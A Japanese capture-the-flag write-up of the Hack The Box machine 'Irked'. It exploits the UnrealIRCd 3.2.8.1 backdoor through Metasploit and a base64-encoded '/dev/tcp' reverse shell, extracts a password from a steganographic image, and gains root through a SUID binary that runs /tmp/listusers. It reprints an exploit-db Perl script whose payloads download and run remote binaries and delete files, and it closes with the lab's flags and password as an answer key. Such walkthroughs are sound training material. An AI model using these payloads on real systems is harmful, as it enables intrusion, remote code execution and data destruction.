Hack The BoxのWriteup(Irked)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「Irked」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン及びアクセス
  (2) RPCへのアクセス及び調査
  (3) UnrealIRCdのバックドアの悪用したリバースシェル
  (4) 攻撃対象のマシン(Irked)内の調査
  (5) ステガノグラフィーのファイル調査
  (6) djmardovユーザーでSSHのログイン
  (7) 特権昇格のための調査(SUIDなど)
  (8) 特権昇格(SUID設定の脆弱性)
  (9) 【参考】コマンドを用いてUnreal IRCのバックドアを悪用したリバースシェル

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン及びアクセス


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)などのポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.10.117
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 14:07 JST
Nmap scan report for 10.10.10.117
Host is up (0.35s latency).
Not shown: 65528 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          41740/udp6  status
|   100024  1          46664/udp   status
|   100024  1          57891/tcp   status
|_  100024  1          58273/tcp6  status
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
57891/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 2 hops
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 23/tcp)
HOP RTT       ADDRESS
1   211.55 ms 10.10.16.1
2   435.13 ms 10.10.10.117

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.64 seconds


(2) ブラウザを用いて「http://10.10.10.117/」にアクセスすると、Webページが表示される。また、「IRC is almost working!」というメッセージが表示される。


RPCへのアクセス及び調査


(1) showmountを用いてRPCにアクセスする。

$ showmount -e 10.10.10.117
clnt_create: RPC: Program not registered


(2) irssiを用いてUnreal IRCDのバージョンを確認すると、「3.2.8.1」のバージョンを使用していることが分かる。

$ sudo apt install irssi -y


$ irssi -c 10.10.10.117 --port 8067
ーーー(省略)ーーー
11:05 -!- Your host is irked.htb, running version Unreal3.2.8.1
11:05 -!- This server was created Mon May 14 2018 at 13:12:50 EDT
ーーー(省略)ーーー




(3) 「nmap UnrealIRCd」でGoogle検索すると、「https://nmap.org/nsedoc/scripts/irc-unrealircd-backdoor.html」にUnrealIRCdのバックドアの悪用有無を検査できるコマンドが公開されている。

$ nmap -p 6697 -sV --script=irc-unrealircd-backdoor 10.10.10.117
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 09:37 JST
Nmap scan report for 10.10.10.117
Host is up (0.21s latency).

PORT     STATE SERVICE VERSION
6697/tcp open  irc     UnrealIRCd
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
Service Info: Host: irked.htb

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.50 seconds


UnrealIRCdのバックドアの悪用したリバースシェル


(1) Kali LinuxのVPN用のIPアドレスを確認する。

$ ip a
  →Kali LinuxのVPN用のインターフェースのIPアドレスが「10.10.16.10」


(2) Metasploitを起動すると、Metasploitのプロンプト(msf6 >)が表示される。

$ msfconsole
ーーー(省略)ーーー
msf6 >


(3) Metasploit Frameworkで「UnrealIRCd」という文字列を含む攻撃コードを検索すると、「exploit/unix/irc/unreal_ircd_3281_backdoor」があることが分かる。

msf6 > search UnrealIRCd

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor


(4) useコマンドで「exploit/unix/irc/unreal_ircd_3281_backdoor」を使用するように設定する。

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >


(5) show optionsコマンドで設定情報を表示すると、CHOSTに自身のマシン(Kali Linux)のIPアドレス、CHOSTに自身のマシン(Kali Linux)で使用するポート番号、RHOSTSに攻撃対象のホスト、RPORTにUnrealIRCdのポート番号を設定する必要があることが分かる。

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us
                                       ing-metasploit.html
   RPORT    6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.


(6) setコマンドでIPアドレスやポート番号を設定する。

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set CHOST 10.10.16.10
CHOST => 10.10.16.10


msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set CPORT 1234
CPORT => 1234


msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.10.10.117
RHOSTS => 10.10.10.117


msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 65534
RPORT => 65534


(7) show optionsコマンドで設定した内容が表示されることを確認する。

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST    10.10.16.10      no        The local client address
   CPORT    1234             no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.10.10.117     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us
                                       ing-metasploit.html
   RPORT    65534            yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.


(8) exploitコマンドで攻撃を実行すると、ペイロードが選択されていない旨のメッセージが出力される。

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[-] 10.10.10.117:65534 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.


(9) 設定できるペイロードの一覧を確認する。

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/adduser                    .                normal  No     Add user with useradd
   1   payload/cmd/unix/bind_perl                  .                normal  No     Unix Command Shell, Bind TCP (via Perl)
   2   payload/cmd/unix/bind_perl_ipv6             .                normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   3   payload/cmd/unix/bind_ruby                  .                normal  No     Unix Command Shell, Bind TCP (via Ruby)
   4   payload/cmd/unix/bind_ruby_ipv6             .                normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   5   payload/cmd/unix/generic                    .                normal  No     Unix Command, Generic Command Execution
   6   payload/cmd/unix/reverse                    .                normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   7   payload/cmd/unix/reverse_bash_telnet_ssl    .                normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   8   payload/cmd/unix/reverse_perl               .                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   9   payload/cmd/unix/reverse_perl_ssl           .                normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   10  payload/cmd/unix/reverse_ruby               .                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   11  payload/cmd/unix/reverse_ruby_ssl           .                normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   12  payload/cmd/unix/reverse_ssl_double_telnet  .                normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)


(10) setコマンドで「payload/cmd/unix/reverse」のペイロードを設定する。

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload payload/cmd/unix/reverse
payload => cmd/unix/reverse


(11) show optionsコマンドで設定した内容が表示されることを確認する。また、「cmd/unix/reverse」のペイロードを使用するためにLHOSTに自身のマシン(Kali Linux)のIPアドレスを設定する必要があることが分かる。

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST    10.10.16.10      no        The local client address
   CPORT    1234             no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.10.10.117     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us
                                       ing-metasploit.html
   RPORT    65534            yes       The target port (TCP)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.


(12) LHOSTに自身のマシン(Kali Linux)のIPアドレスを設定する。

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 10.10.16.10
LHOST => 10.10.16.10


(13) exploitコマンドで攻撃を実行すると、セッションが確立され任意のコマンドを実行できるようになる。

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 10.10.16.10:4444
[*] 10.10.10.117:65534 - Connected to 10.10.10.117:65534...
    :irked.htb NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.10.117:65534 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo GDuxbg9TQopAt2y2;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "GDuxbg9TQopAt2y2\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.16.10:4444 -> 10.10.10.117:33283) at 2025-09-14 10:14:24 +0900


(14) 現在ログインしているユーザー情報を確認すると、ircdユーザーであることが分かる。

※ircdユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)


$ whoami
ircd


(15) 完全なシェルを奪取する。

※ircdユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ which python3
/usr/bin/python3

$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

$ export TERM=xterm


攻撃対象のマシン(Irked)内の調査


(1) ホームディレクトリとログインシェルが設定されているユーザーを確認する。

※ircdユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ ls -l /home/
total 8
drwxr-xr-x 18 djmardov djmardov 4096 Sep  5  2022 djmardov
drwxr-xr-x  3 ircd     root     4096 Sep  5  2022 ircd



$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
djmardov:x:1000:1000:djmardov,,,:/home/djmardov:/bin/bash
ircd:x:1001:1001::/home/ircd:/bin/sh


(2) ircdとdjmardovのホームディレクトリに格納されたファイル/ディレクトリを確認する。/home/djmardov配下のディレクトリの権限を確認すると、ircdユーザーでもいくつかのディレクトリにアクセスできることが分かる。

※ircdユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ ls -al /home/ircd
total 16
drwxr-xr-x  3 ircd root 4096 Sep  5  2022 .
drwxr-xr-x  4 root root 4096 Sep  5  2022 ..
lrwxrwxrwx  1 root root    9 Sep  5  2022 .bash_history -> /dev/null
-rw-r--r--  1 ircd ircd    0 May 14  2018 .bashrc
-rw-r--r--  1 ircd ircd   66 May 14  2018 .selected_editor
drwx------ 13 ircd ircd 4096 Sep 13 01:02 Unreal3.2


$ ls -al /home/djmardov
total 96
drwxr-xr-x 18 djmardov djmardov 4096 Sep  5  2022 .
drwxr-xr-x  4 root     root     4096 Sep  5  2022 ..
lrwxrwxrwx  1 root     root        9 Nov  3  2018 .bash_history -> /dev/null
-rw-r--r--  1 djmardov djmardov  220 May 11  2018 .bash_logout
-rw-r--r--  1 djmardov djmardov 3515 May 11  2018 .bashrc
drwx------ 13 djmardov djmardov 4096 Sep  5  2022 .cache
drwx------ 15 djmardov djmardov 4096 Sep  5  2022 .config
drwx------  3 djmardov djmardov 4096 Sep  5  2022 .dbus
drwxr-xr-x  2 djmardov djmardov 4096 Sep  5  2022 Desktop
drwxr-xr-x  2 djmardov djmardov 4096 Sep  5  2022 Documents
drwxr-xr-x  2 djmardov djmardov 4096 Sep  5  2022 Downloads
drwx------  3 djmardov djmardov 4096 Sep  5  2022 .gconf
drwx------  2 djmardov djmardov 4096 Sep  5  2022 .gnupg
-rw-------  1 djmardov djmardov 4706 Nov  3  2018 .ICEauthority
drwx------  3 djmardov djmardov 4096 Sep  5  2022 .local
drwx------  4 djmardov djmardov 4096 Sep  5  2022 .mozilla
drwxr-xr-x  2 djmardov djmardov 4096 Sep  5  2022 Music
drwxr-xr-x  2 djmardov djmardov 4096 Sep  5  2022 Pictures
-rw-r--r--  1 djmardov djmardov  675 May 11  2018 .profile
drwxr-xr-x  2 djmardov djmardov 4096 Sep  5  2022 Public
drwx------  2 djmardov djmardov 4096 Sep  5  2022 .ssh
drwxr-xr-x  2 djmardov djmardov 4096 Sep  5  2022 Templates
-rw-r-----  1 root     djmardov   33 Sep 13 01:03 user.txt
drwxr-xr-x  2 djmardov djmardov 4096 Sep  5  2022 Videos


(3) /home/djmardov/配下のディレクトリの内容を確認すると、/home/djmardov/Documentsに.backupというファイルがあることが分かる。。

※ircdユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ ls -al /home/djmardov/Desktop
  →何も格納されていないことが分かる。


$ ls -al /home/djmardov/Downloads
  →何も格納されていないことが分かる。


$ ls -al /home/djmardov/Documents
total 12
drwxr-xr-x  2 djmardov djmardov 4096 Sep  5  2022 .
drwxr-xr-x 18 djmardov djmardov 4096 Sep  5  2022 ..
-rw-r--r--  1 djmardov djmardov   52 May 16  2018 .backup
lrwxrwxrwx  1 root     root       23 Sep  5  2022 user.txt -> /home/djmardov/user.txt


(4) .backupの内容を確認すると、ステガノグラフィー(steganography)のパスワードが記載されていることが分かる。

※ircdユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ file /home/djmardov/Documents/.backup
/home/djmardov/Documents/.backup: ASCII text


$ cat /home/djmardov/Documents/.backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss



ステガノグラフィーのファイル調査


(1) ブラウザを用いて「http://10.10.10.117/」の画面上で右クリックして、「View Page Source」をクリックする。


(2) 表示されたソースコードの内容を確認すると、画像ファイルの名前が「irked.jpg」であることが分かる。

【http://10.10.10.117/のソースコードの内容】
<img src=irked.jpg>
<br>
<b><center>IRC is almost working!</b></center>


(3) wgetコマンドで画像ファイルをダウンロードする。

※Kali Linux上で以下のコマンドを実行する。

$ wget http://10.10.10.117/irked.jpg


(4) ステガノグラフィーでファイルが埋め込まれているか確認するために、steghideをインストールする。

$ sudo apt-get install steghide -y


(5) steghideを用いてirked.jpgファイルに埋め込まれたファイルを確認すると、「pass.txt」というファイルが格納されていることが分かる。

$ steghide info irked.jpg
"irked.jpg":
  format: jpeg
  capacity: 1.5 KB
Try to get information about embedded data ? (y/n) y  ←「y」を入力して[Enter]
Enter passphrase:                     ←「UPupDOWNdownLRlrBAbaSSss」を入力して[Enter]
  embedded file "pass.txt":
    size: 17.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes


(6) steghideを用いて埋め込まれたファイル(pass.txt)の内容を確認する。

$ steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
wrote extracted data to "pass.txt".


$ cat pass.txt
Kab6h+m+bbp2J:HG


djmardovユーザーでSSHのログイン


(1) SSHを用いてdjmardovユーザーでログインする。

$ ssh djmardov@10.10.10.117
  →パスワード(Kab6h+m+bbp2J:HG)を入力する。


(2) 現在ログインしているユーザー情報を確認すると、djmardovユーザーであることが分かる。

※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ id
uid=1000(djmardov) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)


$ whoami
djmardov


(3) 一般ユーザー用のフラグファイルを確認する。

※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ cat /home/djmardov/user.txt
27ccec2b94dc6e3263ee30719ef07d52


特権昇格のための調査(SUIDなど)


(1) sudoコマンドの設定を確認すると、sudoコマンドは実行できないことが分かる。

※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ sudo -l
-bash: sudo: command not found


(2) SUIDファイルを検索すると、「/usr/bin/viewuser」にSUIDが付与されていることが分かる。

※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ find / -perm -u=s -type f 2> /dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/sbin/exim4
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/bin/su
/bin/mount
/bin/fusermount
/bin/ntfs-3g
/bin/umount


(3) .bash_historyファイルを確認すると、何も出力されない。

※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ cat /home/djmardov/.bash_history


(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。

※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done  2>/dev/null
22 open
25 open
80 open
111 open
631 open
6697 open
8067 open
55076 open
57891 open
59880 open
65534 open


(5) OSの情報を確認すると、「Debian GNU/Linux 8.10」であることが分かる。

※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ uname -a
Linux irked 3.16.0-6-686-pae #1 SMP Debian 3.16.56-1+deb8u1 (2018-05-08) i686 GNU/Linux


$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 8.10 (jessie)
Release:        8.10
Codename:       jessie


特権昇格(SUID設定の脆弱性)


(1) /usr/bin/viewuserの内容を確認すると、Linuxの実行ファイル(ELF 32-bit)でSUIDが付与されていることが分かる。

※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ ls -al /usr/bin/viewuser
-rwsr-xr-x 1 root root 7328 May 16  2018 /usr/bin/viewuser


$ file /usr/bin/viewuser
/usr/bin/viewuser: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=69ba4bc75bf72037f1ec492bc4cde2550eeac4bb, not stripped


(2) /usr/bin/viewuserを実行すると、/tmp/listusersが見つからないというエラーメッセージが表示される。

※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ cd /usr/bin/


$ ./viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2025-09-13 01:02 (:0)
djmardov pts/2        2025-09-13 21:57 (10.10.16.10)
sh: 1: /tmp/listusers: not found


(3) /usr/bin/viewuserをKali Linuxからダウンロードできるようにするために、攻撃対象のマシン(Irked)上でWebサービスを起動する。

※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ python3 -m http.server 8080


(4) viewuserファイルをダウンロードする

※Kali Linux上で以下のコマンドを実行する。

$ wget http://10.10.10.117:8080/viewuser


(5) ltraceを用いてviewuserを調査すると、system関数で/tmp/listusersを実行していることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ chmod +x viewuser

$ ltrace ./viewuser
__libc_start_main(["./viewuser"] <unfinished ...>
puts("This application is being devleo"...This application is being devleoped to set and test user permissions
)                                = 69
puts("It is still being actively devel"...It is still being actively developed
)                                = 37
system("who" <no return ...>
--- SIGCHLD (子プロセス終了) ---
<... system resumed> )                                                     = 0
setuid(0)                                                                  = -1
system("/tmp/listusers"sh: 1: /tmp/listusers: not found
 <no return ...>
--- SIGCHLD (子プロセス終了) ---
<... system resumed> )                                                     = 32512
+++ exited (status 0) +++


(6) 「bash -p」コマンドを実行する/tmp/listusersファイルを作成する。

※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ vi /tmp/listusers

【/tmp/listusersの内容】
#!/bin/bash

bash -p


(7) /tmp/listusersに実行権限を付与する。

※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ chmod +x /tmp/listusers


(8) /usr/bin/viewuserを実行すると、root権限のプロンプト(#)が表示される。

※djmardovユーザーでログインした攻撃対象のマシン(Irked)上で以下のコマンドを実行する。

$ cd /usr/bin/


$ ./viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2025-09-13 01:02 (:0)
djmardov pts/2        2025-09-13 21:57 (10.10.16.10)
root@irked:/usr/bin#


(9) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

# id
uid=0(root) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)


# whoami
root


(10) 特権ユーザー用のフラグファイルの内容を確認する。

# cat /root/root.txt
54ff821360eb5015dbb7e57e43b41282


【参考】コマンドを用いてUnreal IRCのバックドアを悪用したリバースシェル


(1) 「https://www.exploit-db.com/exploits/13853」にUnreal IRCのバックドアを悪用した攻撃コードのソースコードが公開されていることが分かる。しかし、「http://efnetbs.webs.com/」が存在しないなどでソースコードを書き換える必要があるため、ソースコードで送信するデータを手動で生成し送信する。

#!/usr/bin/perl
# Unreal3.2.8.1 Remote Downloader/Execute Trojan
# DO NOT DISTRIBUTE -PRIVATE-
# -iHaq (2l8)

use Socket;
use IO::Socket;

## Payload options
my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &';
my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt -O bot; chmod +x bot; ./bot &';
my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O rshell; chmod +x rshell; ./rshell &';
my $payload4 = 'AB; killall ircd';
my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *';

$host = "";
$port = "";
$type = "";
$host = @ARGV[0];
$port = @ARGV[1];
$type = @ARGV[2];

if ($host eq "") { usage(); }
if ($port eq "") { usage(); }
if ($type eq "") { usage(); }

sub usage {
  printf "\nUsage :\n";
  printf "perl unrealpwn.pl <host> <port> <type>\n\n";
  printf "Command list :\n";
  printf "[1] - Perl Bindshell\n";
  printf "[2] - Perl Reverse Shell\n";
  printf "[3] - Perl Bot\n";
  printf "-----------------------------\n";
  printf "[4] - shutdown ircserver\n";
  printf "[5] - delete ircserver\n";
  exit(1);
}

sub unreal_trojan {
  my $ircserv = $host;
  my $ircport = $port;
  my $sockd = IO::Socket::INET->new (PeerAddr => $ircserv, PeerPort => $ircport, Proto => "tcp") || die "Failed to connect to $ircserv on $ircport ...\n\n";
  print "[+] Payload sent ...\n";
  if ($type eq "1") {
    print $sockd "$payload1";
  } elsif ($type eq "2") {
    print $sockd "$payload2";
  } elsif ($type eq "3") {
    print $sockd "$payload3";
  } elsif ($type eq "4") {
    print $sockd "$payload4";
  } elsif ($type eq "5") {
    print $sockd "$payload5";
  } else {
    printf "\nInvalid Option ...\n\n";
    usage();
  }
  close($sockd);
  exit(1);
}

unreal_trojan();
# EOF


(2) Kali Linux側で1234/tcpポートでリバースシェルを受け取ることができるように待ち受ける。

$ nc -lvnp 1234
listening on [any] 1234 ...


(3) リバースシェルを実行するためのプログラムを準備して、コマンドを送信する。

$ ip a
  →Kali LinuxのVPN用のインターフェースのIPアドレスは「10.10.16.10」


$ echo 'bash -i >& /dev/tcp/10.10.16.10/1234 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC8xMjM0IDA+JjEK


$ echo 'AB; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC8xMjM0IDA+JjEK | base64 -d | bash' | nc 10.10.10.117 65534


(4) 「nc -lnvp 1234」コマンドを実行しているプロンプトにて応答があり、コマンドを実行できるようになる。

[補足] Guided ModeのQA


・Task 1

問題(英語訳):How many open TCP ports are listening on Irked?
問題(日本語訳):Irked でリッスンしている開いている TCP ポートはいくつありますか?

答え:6


・Task 2

問題(英語訳):What software is running on TCP 8067?
問題(日本語訳):TCP 8067 で実行されているソフトウェアは何ですか?

答え:UnrealIRCd


・Task 3

問題(英語訳):In 2010, UnrealIRCd announced there was a backdoor in the software. What version of the software was the backdoor in?
問題(日本語訳):2010年、UnrealIRCdはソフトウェアにバックドアが存在すると発表しました。バックドアはどのバージョンのソフトウェアに存在していたのでしょうか?

答え:3.2.8.1


・Task 4

問題(英語訳):What two characters are sent as the start of a command trigger passing the command to system() and thus execution?
問題(日本語訳):コマンドを system() に渡して実行するためのコマンドトリガーの開始として送信される 2 つの文字は何ですか?

答え:AB


・Task 5

問題(英語訳):What is the name of the hidden file that contains a "steg backup pw"?
問題(日本語訳):「steg backup pw」を含む隠しファイルの名前は何ですか?

答え:.backup


・Task 6

問題(英語訳):What is djmardov's password?
問題(日本語訳):djmardovのパスワードは何ですか?

答え:Kab6h+m+bbp2J:HG


・Submit User Flag

問題(英語訳):Submit the flag located in the djmardov user's home directory.
問題(日本語訳):djmardov ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:27ccec2b94dc6e3263ee30719ef07d52
※「/home/djmardov/user.txt」の内容。


・Task 8

問題(英語訳):What is the filename for the SetUID binary that is custom to Irked?
問題(日本語訳):Irked 専用の SetUID バイナリのファイル名は何ですか?

答え:viewuser


・Task 9

問題(英語訳):What is the full path of the file that viewuser fails to load when it runs?
問題(日本語訳):viewuser の実行時に読み込みに失敗するファイルのフルパスは何ですか?

答え:/tmp/listusers


・Submit Root Flag

問題(英語訳):Submit the flag located in root's home directory.
問題(日本語訳):ルートのホームディレクトリにあるフラグを送信します。

答え:54ff821360eb5015dbb7e57e43b41282
※「/root/root.txt」の内容。



関連記事(Hack The Box)